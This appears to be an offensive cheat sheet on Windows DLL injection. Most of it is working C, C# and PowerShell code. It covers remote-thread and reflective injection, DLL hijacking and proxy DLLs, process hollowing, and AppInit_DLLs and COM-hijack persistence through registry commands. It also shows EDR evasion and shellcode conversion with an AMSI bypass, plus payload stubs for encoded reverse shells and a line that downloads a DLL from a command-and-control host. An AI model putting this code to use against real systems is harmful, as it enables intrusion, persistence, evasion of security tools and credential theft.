DLL Injection

┌──────────────────────────────────────────────────────────────────────────────┐
│                         DLL INJECTION — CORE CONCEPT                         │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   Normal Flow:                                                               │
│                                                                              │
│     Process.exe  ──►  loads legit.dll  ──►  executes normally               │
│                                                                              │
│                                                                              │
│   Injected Flow:                                                             │
│                                                                              │
│     Attacker forces target process to load malicious DLL                     │
│                                                                              │
│     Target.exe  ──►  loads evil.dll (inside target address space)           │
│                                                                              │
│                                                                              │
│   Effects:                                                                   │
│                                                                              │
│     ├─ Executes under TARGET process identity                                │
│     ├─ Inherits privileges (e.g., SYSTEM if target is privileged)            │
│     ├─ Shares memory → can read / write process memory                       │
│     ├─ Uses target's network context → appears legitimate                    │
│     └─ EDR logs show trusted process performing malicious actions            │
│                                                                              │
│                                                                              │
│   Common Attacker Use Cases:                                                 │
│                                                                              │
│     ├─ Privilege escalation  : inject into SYSTEM processes                  │
│     ├─ EDR / AV bypass      : execute via trusted processes                  │
│     ├─ Persistence          : DLL remains loaded with process                │
│     ├─ Credential theft     : inject into lsass.exe                          │
│     └─ Keylogging           : inject into explorer.exe                       │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// ─── Get PID by process name ───
DWORD GetPID(const char* procName) {
    DWORD pid = 0;
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);
    if (Process32First(snap, &pe)) {
        do {
            if (!_stricmp(pe.szExeFile, procName)) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(snap, &pe));
    }
    CloseHandle(snap);
    return pid;
}

int main() {
    const char* dllPath    = "C:\\Windows\\Temp\\evil.dll";
    const char* targetProc = "notepad.exe";

    // Step 1: Get target PID
    DWORD pid = GetPID(targetProc);
    if (!pid) { printf("[-] Process not found!\n"); return 1; }
    printf("[+] PID: %d\n", pid);

    // Step 2: Open target process
    HANDLE hProc = OpenProcess(
        PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) { printf("[-] OpenProcess failed: %d\n", GetLastError()); return 1; }

    // Step 3: Allocate memory in target process
    LPVOID pRemoteMem = VirtualAllocEx(
        hProc, NULL, strlen(dllPath) + 1,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemoteMem) { printf("[-] VirtualAllocEx failed!\n"); return 1; }

    // Step 4: Write DLL path to remote memory
    WriteProcessMemory(hProc, pRemoteMem,
        (LPVOID)dllPath, strlen(dllPath) + 1, NULL);

    // Step 5: Get LoadLibraryA address (same in all processes!)
    LPVOID pLoadLib = (LPVOID)GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

    // Step 6: Create remote thread → calls LoadLibraryA(dllPath)
    HANDLE hThread = CreateRemoteThread(
        hProc, NULL, 0,
        (LPTHREAD_START_ROUTINE)pLoadLib,
        pRemoteMem, 0, NULL);

    if (!hThread) { printf("[-] CreateRemoteThread failed: %d\n", GetLastError()); return 1; }

    printf("[+] DLL injected! Waiting for thread...\n");
    WaitForSingleObject(hThread, INFINITE);

    // Cleanup
    VirtualFreeEx(hProc, pRemoteMem, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProc);
    printf("[+] Done!\n");
    return 0;
}

// Compile:
// x86_64-w64-mingw32-gcc injector.c -o injector.exe

// ─── evil.dll — executed when injected ───
#include <windows.h>

void Payload() {
    // Reverse shell, shellcode exec, etc.
    system("powershell -enc BASE64_PAYLOAD");
}

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved) {
    switch (reason) {
        case DLL_PROCESS_ATTACH:
            // Called when DLL is loaded into process!
            CreateThread(NULL, 0,
                (LPTHREAD_START_ROUTINE)Payload,
                NULL, 0, NULL);
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

// Compile:
// x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

# ─── PowerShell DLL injection (using P/Invoke) ───
$code = @"
using System;
using System.Runtime.InteropServices;
public class Injector {
    [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int a, bool b, int c);
    [DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr h, IntPtr a, byte[] b, uint s, out int w);
    [DllImport("kernel32.dll")] public static extern IntPtr GetProcAddress(IntPtr h, string p);
    [DllImport("kernel32.dll")] public static extern IntPtr GetModuleHandle(string n);
    [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr h, IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr i);

    public static void Inject(int pid, string dllPath) {
        byte[] dllBytes = System.Text.Encoding.ASCII.GetBytes(dllPath + "\0");
        IntPtr hProc   = OpenProcess(0x1F0FFF, false, pid);
        IntPtr pMem    = VirtualAllocEx(hProc, IntPtr.Zero,
                           (uint)dllBytes.Length, 0x3000, 0x40);
        int written = 0;
        WriteProcessMemory(hProc, pMem, dllBytes, (uint)dllBytes.Length, out written);
        IntPtr pLoadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
        CreateRemoteThread(hProc, IntPtr.Zero, 0, pLoadLib, pMem, 0, IntPtr.Zero);
    }
}
"@
Add-Type -TypeDefinition $code

# Inject into notepad (find PID first):
$pid = (Get-Process notepad).Id
[Injector]::Inject($pid, "C:\Windows\Temp\evil.dll")

// ─── The gold standard reflective injection implementation ───
// https://github.com/stephenfewer/ReflectiveDLLInjection

// Build your DLL with the reflective loader:
// 1. Include ReflectiveDLLInjection.h in your project
// 2. Add ReflectiveLoader.c to compilation
// 3. Your DLL now has "ReflectiveLoader" export!

// Injector reads DLL from disk into memory buffer:
// Then finds ReflectiveLoader export address:
// Calls CreateRemoteThread pointing to ReflectiveLoader!
// → DLL loads from memory, no disk path needed!

// Quick inject with the provided inject.dll:
// inject.exe <PID> <DLL_PATH>

// ─── Core injection code ───
DWORD Inject(HANDLE hProcess, LPVOID dllBuffer, DWORD dllSize) {
    // Allocate memory in target process:
    LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, dllSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Write DLL bytes (not path!) to remote process:
    WriteProcessMemory(hProcess, pRemoteBuf, dllBuffer, dllSize, NULL);

    // Find offset of ReflectiveLoader in DLL buffer:
    DWORD loaderOffset = GetReflectiveLoaderOffset(dllBuffer);

    // Create thread at ReflectiveLoader offset in remote process:
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)((ULONG_PTR)pRemoteBuf + loaderOffset),
        NULL, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);
    return 0;
}
// → No DLL path anywhere! Only bytes in memory!

// ─── Load DLL from byte array reflectively ───
using System;
using System.Runtime.InteropServices;

class ReflectiveLoader {
    [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(uint a, bool b, int c);
    [DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr h, IntPtr a, byte[] b, uint s, out int w);
    [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr h, IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr i);

    static void Main(string[] args) {
        int pid = int.Parse(args);

        // Load DLL bytes from embedded resource or download:
        byte[] dllBytes = System.IO.File.ReadAllBytes("evil.dll");
        // OR: download from C2:
        // byte[] dllBytes = new WebClient().DownloadData("http://C2/evil.dll");

        IntPtr hProc = OpenProcess(0x1F0FFF, false, pid);

        // Allocate RWX memory for full DLL:
        IntPtr pRemote = VirtualAllocEx(hProc, IntPtr.Zero,
            (uint)dllBytes.Length, 0x3000, 0x40);

        // Write DLL bytes (not path!):
        int written;
        WriteProcessMemory(hProc, pRemote, dllBytes, (uint)dllBytes.Length, out written);

        // Find ReflectiveLoader export offset and call it:
        uint loaderOffset = GetReflectiveLoaderOffset(dllBytes);
        CreateRemoteThread(hProc, IntPtr.Zero, 0,
            (IntPtr)(pRemote.ToInt64() + loaderOffset),
            IntPtr.Zero, 0, IntPtr.Zero);
    }
}

:: ─── Method 1: Process Monitor (Sysinternals) ───
:: Run ProcMon as admin
:: Add filter: Result = NAME NOT FOUND, Path ends with .dll
:: Start the target application
:: → See every DLL it tries to load that DOESN'T EXIST!
:: → Check if you can write to any of those search locations!

:: ─── Method 2: PowerSploit Find-PathDLLHijack ───
Import-Module PowerSploit
Find-PathDLLHijack
:: Finds writable directories in %PATH% where you can plant DLLs!

:: ─── Method 3: Winpeas ───
.\winpeas.exe
:: Look for: "DLL Hijacking" section
:: Lists: applications with missing DLLs + writable paths!

:: ─── Method 4: Process Hacker / x64dbg ───
:: Monitor loaded modules in running process
:: Check for DLLs loaded from unusual paths

# ─── DLL Hijacking via PATH variable ───
# List writable directories in %PATH%:
$env:PATH.Split(';') | ForEach-Object {
    if (Test-Path $_) {
        $acl = Get-Acl $_
        $writable = $acl.Access | Where-Object {
            $_.FileSystemRights -match "Write|FullControl|Modify" -and
            $_.IdentityReference -match "Everyone|Users|Authenticated"
        }
        if ($writable) {
            Write-Host "[WRITABLE PATH] $_" -ForegroundColor Red
        }
    }
}

# ─── Find services with missing DLLs ───
Get-WmiObject Win32_Service |
    Where-Object { $_.State -eq "Running" } |
    ForEach-Object {
        $path = $_.PathName -replace '"',''
        $dir  = Split-Path $path -Parent
        if (Test-Path $dir) {
            # Check if user can write to service directory:
            try {
                $test = [System.IO.Path]::Combine($dir, "test_write.tmp")
                [System.IO.File]::Create($test).Close()
                Remove-Item $test
                Write-Host "[WRITABLE SERVICE DIR] $dir → $($_.Name)" -ForegroundColor Red
            } catch {}
        }
    }

// ─── Option 1: Simple hijack DLL ───
// Just run payload, no proxying needed if app doesn't need the DLL:
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        system("cmd /c powershell -enc BASE64_REVSHELL");
    }
    return TRUE;
}
// Compile: x86_64-w64-mingw32-gcc -shared -o missing.dll hijack.c

// ─── Option 2: Proxy DLL (forwards legit exports too) ───
// App needs the DLL's functions AND we want our payload to run!
// Use DLL export forwarding:

// In .def file:
// EXPORTS
//   LegitFunction1 = original.LegitFunction1
//   LegitFunction2 = original.LegitFunction2

// Rename original: version.dll → version_orig.dll
// Our version.dll forwards exports to version_orig.dll
// App works normally + our payload executes!

:: ─── sigcheck + ProcMon approach ───
:: Use Sysinternals sigcheck to find signed apps:
sigcheck.exe -e -u "C:\Program Files\" > signed_apps.txt
:: -e = executable only, -u = unsigned dependencies

:: Use ProcMon:
:: Filter: Operation = LoadImage, Result = NAME NOT FOUND
:: Paths = User-writable directories
:: → Find signed apps loading missing DLLs from writable paths!

:: ─── Known sideloading candidates ───
:: These binaries are famous for sideloading:
Application          Sideloads via
──────────────────────────────────────────────
OneDriveSetup.exe    version.dll
mspaint.exe          MSVCP100.dll (some versions)
notepad++.exe        various plugins
Teams installer      CRYPTSP.dll
Windows Defender     various
VMware               various
Various AV products  (anti-virus ironically vulnerable)

# ─── Automated proxy DLL creation with DLLSpy ───
# https://github.com/cyberark/DLLSpy

# ─── Manual approach using AheadLib ───
# 1. Identify target DLL (e.g., version.dll) loaded by signed binary
# 2. Extract all exports from original DLL:
dumpbin /exports C:\Windows\System32\version.dll > exports.txt

# 3. Create proxy DLL that forwards exports + runs payload:
# Generate proxy code automatically with DLLProxyGenerator:
python3 proxy_dll_gen.py --original version.dll --output proxy_version.c

# 4. Generated code looks like:
// version_proxy.c
// Forwards all legitimate exports + adds DllMain payload
#pragma comment(linker, "/export:GetFileVersionInfoA=version_orig.GetFileVersionInfoA")
#pragma comment(linker, "/export:VerQueryValueA=version_orig.VerQueryValueA")
// ... all other exports forwarded to version_orig.dll ...

// Compile:
// cl.exe /LD proxy_version.c /Fe:version.dll

#include <windows.h>
#include <winternl.h>

// Function prototypes for NT functions:
typedef NTSTATUS(WINAPI* NtUnmapViewOfSection_t)(HANDLE, PVOID);

int main() {
    const char* targetExe  = "C:\\Windows\\System32\\svchost.exe";
    const char* payloadExe = "C:\\Windows\\Temp\\payload.exe";

    // Read payload file:
    HANDLE hFile = CreateFileA(payloadExe, GENERIC_READ, 0,
        NULL, OPEN_EXISTING, 0, NULL);
    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE* payload = (BYTE*)malloc(fileSize);
    ReadFile(hFile, payload, fileSize, NULL, NULL);
    CloseHandle(hFile);

    // Create target process SUSPENDED:
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    CreateProcessA(targetExe, NULL, NULL, NULL,
        FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    // Get context (to find base address):
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);

    // Read PEB to get image base:
    PVOID pImageBase;
    ReadProcessMemory(pi.hProcess,
        (PVOID)(ctx.Rdx + 16), &pImageBase, 8, NULL);

    // Unmap original executable:
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    NtUnmapViewOfSection_t pNtUnmap =
        (NtUnmapViewOfSection_t)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    pNtUnmap(pi.hProcess, pImageBase);

    // Parse payload PE headers:
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payload;
    PIMAGE_NT_HEADERS ntHeaders =
        (PIMAGE_NT_HEADERS)((ULONG_PTR)payload + dosHeader->e_lfanew);

    // Allocate space for payload in remote process:
    PVOID pRemoteBase = VirtualAllocEx(pi.hProcess,
        (PVOID)ntHeaders->OptionalHeader.ImageBase,
        ntHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Write PE headers:
    WriteProcessMemory(pi.hProcess, pRemoteBase,
        payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL);

    // Write PE sections:
    PIMAGE_SECTION_HEADER section =
        IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        WriteProcessMemory(pi.hProcess,
            (PVOID)((ULONG_PTR)pRemoteBase + section[i].VirtualAddress),
            (PVOID)((ULONG_PTR)payload    + section[i].PointerToRawData),
            section[i].SizeOfRawData, NULL);
    }

    // Fix entry point in context:
    ctx.Rcx = (DWORD64)pRemoteBase +
              ntHeaders->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread, &ctx);

    // Resume thread → runs our payload!
    ResumeThread(pi.hThread);

    free(payload);
    return 0;
}

:: ─── Registry location ───
:: 32-bit: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
:: 64-bit: HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows

:: ─── Enable AppInit_DLLs ───
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ^
    /v AppInit_DLLs /t REG_SZ /d "C:\Windows\Temp\evil.dll" /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ^
    /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f

:: Multiple DLLs (comma or space separated):
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" ^
    /v AppInit_DLLs /t REG_SZ /d "C:\evil1.dll C:\evil2.dll" /f

:: ─── Result ───
:: Every app that loads user32.dll (almost all GUI apps!) will load evil.dll!
:: Persists across reboots!
:: Requires admin to set, but runs as each app's privilege level!

:: ─── NOTE: Secure Boot / Code Integrity ───
:: Windows 8+ with Secure Boot: AppInit_DLLs requires signed DLLs!
:: On older systems or without Secure Boot → still works!

# ─── Find COM objects loaded from non-existent paths ───
# Run ProcMon with filter:
# Operation = RegOpenKey, Result = NAME NOT FOUND
# Path contains "InprocServer32"
# → Lists every COM object that looks for DLL but doesn't find it!

# ─── PowerShell: Find HKCR CLSIDs also in HKCU (overridable) ───
# CLSIDs in HKCR but not in HKCU = can be hijacked!
$hkcrClsids = Get-ChildItem "Registry::HKEY_CLASSES_ROOT\CLSID\" |
    Where-Object { $_.GetSubKeyNames() -contains "InprocServer32" }

# ─── Famous COM hijacking targets ───
CLSID                                   Application
──────────────────────────────────────────────────────────────────
{BCDE0395-E52F-467C-8E3D-C4579291692E}  Windows Task Scheduler
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}  ShellWindows (Explorer)
{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}  MruPidlList
{4590F811-1D3A-11D0-891F-00AA004B2E24}  WbemLocator

:: ─── Register malicious DLL under HKCU (user-level!) ───
:: Example: Hijack a CLSID that gets loaded by Explorer/Task Scheduler

set CLSID={BCDE0395-E52F-467C-8E3D-C4579291692E}

reg add "HKCU\Software\Classes\CLSID\%CLSID%\InprocServer32" ^
    /ve /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Local\evil.dll" /f

reg add "HKCU\Software\Classes\CLSID\%CLSID%\InprocServer32" ^
    /v ThreadingModel /t REG_SZ /d "Apartment" /f

:: → No admin needed! HKCU is always user-writable!
:: → When Windows loads that COM object → loads our DLL!
:: → Persists across login (scheduled COM calls keep loading it)!

// ─── EDR hooks CreateRemoteThread → use alternatives ───

// Alternative 1: NtCreateThreadEx (lower level)
typedef NTSTATUS (NTAPI* NtCreateThreadEx_t)(
    PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID,
    ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);

NtCreateThreadEx_t NtCreateThreadEx =
    (NtCreateThreadEx_t)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL,
    hProcess, (PVOID)pLoadLib, pRemoteMem, 0, 0, 0, 0, NULL);

// Alternative 2: RtlCreateUserThread (even lower)
typedef NTSTATUS (NTAPI* RtlCreateUserThread_t)(
    HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN, ULONG, PULONG,
    PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID);

// Alternative 3: QueueUserAPC (async procedure call)
// Inject via APC queue → executes when thread enters alertable wait!
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
QueueUserAPC((PAPCFUNC)pLoadLib, hThread, (ULONG_PTR)pRemoteMem);
// Target thread must call SleepEx, WaitForSingleObjectEx etc!

// Alternative 4: Thread hijacking
// Suspend existing thread → change RIP → inject → resume
// No new thread created → evades "remote thread" detection!

// ─── Avoid RWX memory (EDR flags VirtualAllocEx with PAGE_EXECUTE_READWRITE) ───

// Step 1: Allocate as RW (not RWX):
LPVOID pMem = VirtualAllocEx(hProc, NULL, size,
    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  // RW only!

// Step 2: Write shellcode/DLL bytes:
WriteProcessMemory(hProc, pMem, payload, size, NULL);

// Step 3: Change to RX (remove write!):
DWORD oldProt;
VirtualProtectEx(hProc, pMem, size, PAGE_EXECUTE_READ, &oldProt);

// Step 4: Execute:
CreateRemoteThread(hProc, NULL, 0,
    (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);

// → Memory is only ever RW or RX, never RWX at the same time!
// → Many EDR rules specifically flag RWX allocations!

# ─── Donut: convert ANY PE/DLL/.NET assembly to shellcode! ───
# https://github.com/TheWover/donut

# Convert DLL to shellcode:
./donut -f evil.dll -o shellcode.bin

# Convert EXE to shellcode:
./donut -f payload.exe -o shellcode.bin

# Convert .NET assembly to shellcode:
./donut -f malware.exe -o shellcode.bin -a 2  # x64

# With AMSI/WLDP bypass:
./donut -f evil.exe -b 2 -o shellcode.bin
# -b 2 = bypass AMSI + WLDP (Windows Lockdown Policy)

# Then inject shellcode.bin via any shellcode injector!
# No DLL file needed on target — pure position-independent shellcode!

# ─── sRDI: convert DLL to shellcode (like Donut but for DLLs) ───
# https://github.com/monoxgas/sRDI

from ShellcodeRDI import *

# Convert DLL to shellcode:
dll = open("evil.dll", "rb").read()
shellcode = ConvertToShellcode(dll)
open("shellcode.bin", "wb").write(shellcode)

# With function call:
shellcode = ConvertToShellcode(dll,
    functionName="DllExport",  # call specific export
    userData=b"args",
    flags=0x1)  # clear header

# Inject shellcode.bin into any process!
# = DLL runs completely from shellcode, no LoadLibrary, no file!

# ─── WinPEAS DLL Hijacking check ───
.\winPEASx64.exe
# Look for section: "DLL Hijacking"
# Lists: Writable PATH dirs, missing DLL opportunities

# ─── PowerSploit ───
Import-Module .\PowerSploit.psd1
Find-PathDLLHijack        # writable %PATH% dirs
Find-ProcessDLLHijack     # running processes with hijackable DLLs
Get-ServiceDetail         # services with vulnerable DLL search paths

# Simple injector (Windows cross-compile from Linux):
x86_64-w64-mingw32-gcc injector.c -o injector.exe

# Malicious DLL:
x86_64-w64-mingw32-gcc -shared evil.c -o evil.dll

# 32-bit DLL:
i686-w64-mingw32-gcc -shared evil.c -o evil32.dll

# With resource file (version info for stealth):
x86_64-w64-mingw32-windres resource.rc -O coff -o resource.o
x86_64-w64-mingw32-gcc -shared evil.c resource.o -o evil.dll

# MSVC (on Windows):
cl.exe /LD evil.c /Fe:evil.dll
cl.exe injector.c /Fe:injector.exe

# Donut → shellcode:
./donut -f evil.dll -a 2 -o shellcode.bin